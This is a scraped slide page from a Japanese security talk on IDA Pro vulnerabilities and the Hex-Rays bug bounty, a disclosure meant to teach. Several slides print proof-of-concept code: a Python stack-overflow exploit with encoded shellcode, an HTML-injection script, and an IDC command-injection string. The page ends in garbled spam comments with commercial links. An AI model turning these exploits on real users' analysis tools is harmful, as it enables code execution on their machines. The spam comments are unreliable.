IDAの脆弱性とBug Bounty by 千田 雅明

50 %
50 %
Information about IDAの脆弱性とBug Bounty by 千田 雅明
Technology

Published on March 12, 2014

Author: codeblue_jp

Source: slideshare.net

Description

IDA Proとは、高機能な逆アセンブラソフトウェアで、主に脆弱性調査やマルウェアの解析・分析に利用されている。 IDA Proはソフトウェアの詳細な動作を解析するためにものであり、もし脆弱性により利用者が攻撃された場合には、 裁判の結果に影響を及ぼすなどの社会的に大きな影響を及ぼすこともあるとも考えられる。 本講演では、見つかった脆弱性の解説、脆弱性を利用する攻撃のデモ、そしてHex-rays社側の対策内容やHex-rays社とのやり取りについて解説する。

http://codeblue.jp/speaker.html#MasaakiChida

IDAの脆弱性とBug Bounty 千田雅明

プロフィール !  セキュリティエンジニア !  リバースエンジニアリングが趣味 !  sutegoma2として様々なCTFに参加

IDAとは? !  高機能逆アセンブラ !  マルウェアなどを静的解析する際に利用するソフトウェア !  Hex-raysのBug Bounty Program !  3000 USDの報奨金 !  IDAとHex-rays Decompilerのリモート攻撃が対象 !  2011年2月頃から開始 !  2014年1月までに11回支払われている https://www.hex-rays.com/bugbounty.shtml

調査方法 !  IDAで解析 !  IDA Main Program (for windows) !  Loader Modules !  Processor Modules !  Plugins !  SDK付属のプラグインのソースを読む !  実行プロセスの動作を監視 !  Sysinternals Tools: Procmon

データの入出力関数の調査 !  Data Read & Copy !  read, lread, eread, qread, qlread, qfread, !  memcpy, strcpy, strncpy, qstrncpy, … !  IDB Database !  get_long, get_byte, ger_many_bytes, !  netnode_getblob, netnode_altval, netnode_supval, !  unpack_dd, unpack_ds, unpack_dw, … !  Heap Allocation !  malloc, calloc, realloc !  qalloc, qcalloc, qrelloc !  qvecto_reserve

スクリプトやコマンド実行関数の調査 !  IDC Script !  CompileEx, CompileLineEx !  str2ea, calcexpr, calcexpr_long, calc_idc_expr, !  Eval, ExecIDC, Execute File, Execute Line,… !  コマンド実行 !  call_system !  system, CrateProcess,…

発見したIDAの脆弱性一覧 !  Heap Overflow => 多数 !  Stack Overflow => 2個 !  DLL, Script Preloading => 多数 !  Path Traversal => 数個 !  IDCスクリプトの自動実行 !  デバッガーの自動実行 !  ※賞金を得ていないものを含む

Integer Overflowの脆弱性 !  問題点 !  ほぼ全てのモジュールが対象 !  Integer Overflowの対策が皆無 !  qcallocなどの関数内でも対策がない 多くのモジュールでBuffer Overflowにより、悪意のある コードを実行されてしまう可能性があった void *__cdecl qcalloc(size_t nitems, size_t itemsize) { void *result; // eax@2 void *v3; // ebx@3 if ( (signed int)(itemsize * nitems) > 0 ) { v3 = calloc(itemsize * nitems, 1u);

整数符号エラーの脆弱性 !  問題点 !  AIF Loader Moduleが対象 !  セクション名を解析時にStack Buffer Overflowが起こる Stack Buffer Overflowにより、悪意のあるコードを実行さ れてしまう可能性があった

Classic Buffer Overflowの脆弱性 !  問題点 !  CLI Processor Moduleが対象 !  バイナリをHexの文字列に変換する処理にStack Buffer Overflow !  [TODO]

Classic Buffer Overflowの脆弱性 !  特殊なコードの書き込みが必要 !  /GSでコンパイル済み !  スタックへ書き込む際にhexに変換される !  sprintf(“%02X”, buf[i]) !  [TODO]

Classic Buffer Overflowの脆弱性 from idaapi import * from struct import * a = 0x5874768A-0x24 b = 0x5874764A-0x14 shellcode="htIIGX5tIIGHWPPPSRPPafhExfXf5YrfPDfhS3DTY09fhpzfXf5rRfP DTY01fRDfhpQDTY09fh3NfXf50rfPfharfXf5dsfPDTY09hBzPKX5ceLJPDfhptDfh 9tDTY01fh6OfXf5jAfPDTY09hinEufhKWDfhkdfXf5WcfPfhnLfXf5g2fPDTY09fhg RDTY01fhQBfhdtfXf5QXfPDfhlHDTY09fhaefXf57jfPDfh5PfXf5lVfPDTY09h7Yq oX5RFUnPDfhjLDfhttDTY09fh8wfXf5PvfPDTY09h3YIXX54FiYPDfhatDfhgtDTY0 1fh7xDfh8pfXf5dofPfhitDTY09fhlzfXf53FfPfhYtDTY09fhGSfXf59KfPfhWtDT Y01fhG0DfhRtTYf19fh3ZfXf55VfPDfhnvDfh5tDTY01fh6tfXf5FxfPDfhRvDfhJt DTY09fhr0fhCtDTY01hJRVdDfhlKfXf5MRfPDTY09fhUvDTY09fhmwDfhB4fXf5xhf PhdohchshinfhUifXf5C5fPDhehwshhystfhYjfXf5I6fPDhhm32hcalchexehfhTH fXf54ffPDfhRhfhKifXf5YDfPDTY09fhU1DRVWRTFfVNfhjsfXf5ErfPVUafhrWfYf 1Lo9f1To9TXLLLrH" payload="" payload+=("1"*8)+(pack("II",a,b)*(9334/8-1))+("x55"*6) payload+=shellcode payload+=("1"*((len(shellcode)&4)+10-(len(shellcode)%4)))+ (pack("II",a,b)*(16000/8)) node_id=netnode("$ cli").altval(0x0C000014,'o')

Path Traversalの脆弱性 !  問題点 !  tilファイル内に含まれるファイル名をそのまま結合していた [TODO]

HTML Injectionの脆弱性 !  問題点 !  解析結果をHTMLで保存した際にHTML Injection可能 !  get_root_filename関数で得られる実行ファイル名をエスケー プしていなかった 作成されたHTMLファイルを開いた場合に、XSSの可能性 があった from idaapi import * netnode("RootNode").set("</title><scritp>alert('XSS');</script>") save_database() fp = ecreateT("report.html") gen_file(OFILE_LST, fp, 0, 0, GENFLG_GENHTML) eclose(fp)

Preloadingの脆弱性 !  問題点 !  読み込んだIDBファイルと同じディレクトリから、DLL, IDC Script, Python Scriptをロードしてしまう !  ida.idc, userload.idc !  windbg.exe, dbghelp.dll, dbgeng.dll, … !  idautils.py, idc.py, idaapi.py, … 意図していないファイルを読み込んでしまい、悪意のある コードが実行される可能性があった

IDC Scirpt自動実行の脆弱性 !  問題点 !  str2ea関数内で暗黙的にIDC Scriptを実行 !  str2ea関数は各種イベント時に利用されている !  デバッガの実行時 !  Hintの表示時 IDBファイルをロード時に悪意のあるIDC Scriptを実行される可能性があった str2ea calcexpr_lon g calc_idc_expr CompileLine Ex Run

str2eaを利用した攻撃 !  IDAのHint表示の動作 !  1. カーソル下の行の文字列を得る !  2. extract_nameに渡す !  3. str2ea関数に渡す !  extract_name関数 !  ida.cfg内のNameCharsに一致する文字列を返す !  NameChars !  .net Processor Moduleの場合に”()”などの制御文字が入る 関数呼び出しを成立させる文字列がstr2ea関数に渡る str2ea(“Exec(char(0x63)+char(0x61)+char(0x6C)+char0x63)”)

Debugger自動実行の脆弱性 !  問題点 !  デバッガを自動起動 !  メモリダンプから作ったIDBファイルをロード時 !  デバッガイベントを自動評価 !  各種Event Condition !  Watch PointView IDBファイルをロード時に悪意のあるIDC Scriptが実行さ れる可能性があった

Demonstration

まとめ !  見つけやすい脆弱性が多数残っていた

Add a comment

Comments

SPRING SALE開催È | 05/06/15
最高の1 インターネットのウェブサイト|最高| |おそらく最良} {サイト|ウェブサイト|ウェブサイト|インターネットサイト|ウェブサイト|ウェブページ|オンラインのウェブサイト|オンラインサイト|ウェブページで最も印象的な|最大の。 [url=http://www.matrioszkomania.pl]SPRING SALE開催中[/url]
本物 メン | 07/06/15
あなたを共有するための| おかげで、ありがとうございました。私は本当にあなたの努力に感謝し、私は午前 | ポスト あなたに感謝もう一度、あなたの更に次を待ちます。 [url=http://www.haketsigorta.com.tr]本物 メンズ 中古[/url]
送料無料 | 08/06/15
実際には非常に興味深い、これがある|非常に熟練したブロガーあなたがしているあなたにしています。 私が持っている のRSSフィードフィードとあなたの素晴らしいのより求めることを楽しみにしてあなたに参加したポストを。また、私がしました私のソーシャルネットワークで Webサイトサイトあなたを共有しました! [url=http://www.cetinleryapi.com]送料無料[/url]
カラー豊 | 10/06/15
右ここに行っ受信|私はあなたはよあなたがします限りを愛しました。 材料主題スタイリッシュなあなたのオーサリング、| 魅力上品スケッチです。それにもかかわらず、あなたはgetコマンド得 それ以上のあなたは、以下のものが提供されたいです。 これを遮蔽することが多い内側ケース|ほぼ非常に多くがまったく同じ| のようなので、以前は再び| 複数のさらなるを体調不良紛れもなく来ます。 [url=http://www.longislandwx.com]カラー豊富[/url]
春夏直営 | 10/06/15
ハウディ! 言う私は素早く叫びを与え、したかったので、ここでコメント|これは私の第1は、あなたのブログの投稿。同じ表紙他のブログ/ウェブサイト/フォーラムトピック |あなたはお勧めを示唆していることができますか? ありがとうございます! [url=http://www.indismuhendislik.com]春夏直営店[/url]
大人気 オ | 10/06/15
うわー! 最後に私はどこから 私が得た実際|本当に実際には 情報 取る事実 私の研究と知識に関する。 [url=http://www.alinirmibu.com]大人気 オススメ[/url]

Related presentations

Related pages

IDAの脆弱性とBug Bounty by 千田 雅明

Information about IDAの脆弱性とBug Bounty by 千田 雅明. Technology. Published on March 12, 2014. Author: codeblue_jp. Source: slideshare.net.
Read more

デバッガ 自動起動 30

IDAの脆弱性とBug Bounty by 千田 雅明 でばっがの起動方法 デバッガを自動起動! IT:.NET TIPS [あぷりけーしょん・ぇらー ...
Read more

CODE BLUE 開催直前インタビュー「IDAの脆弱性 ...

「IDAの脆弱性とBug Bounty」というタイトルで講演を行う、千田 雅明 氏に ...
Read more

idbファイルとは 2

IDAの脆弱性とBug Bounty by 千田 雅明-SlideShare IDBファイルを開く方法-IDBの拡張子を持つファイル-Solvusoft 2013 ...
Read more

エラーコード 638 75

IDAの脆弱性とBug Bounty by 千田 雅明 Change SQL error code. 対処法追記】エラー コード:ERR_EMPTY_RESPONSEの原因はCloudFlareと ...
Read more

idbファイルとは 43 - pusu.notodani.xyz

IDAの脆弱性とBug Bounty by 千田 雅明. idbファイルとは ...
Read more

idbファイル 80

IDAの脆弱性とBug Bounty by 千田 雅明-SlideShare Visual C++ ...
Read more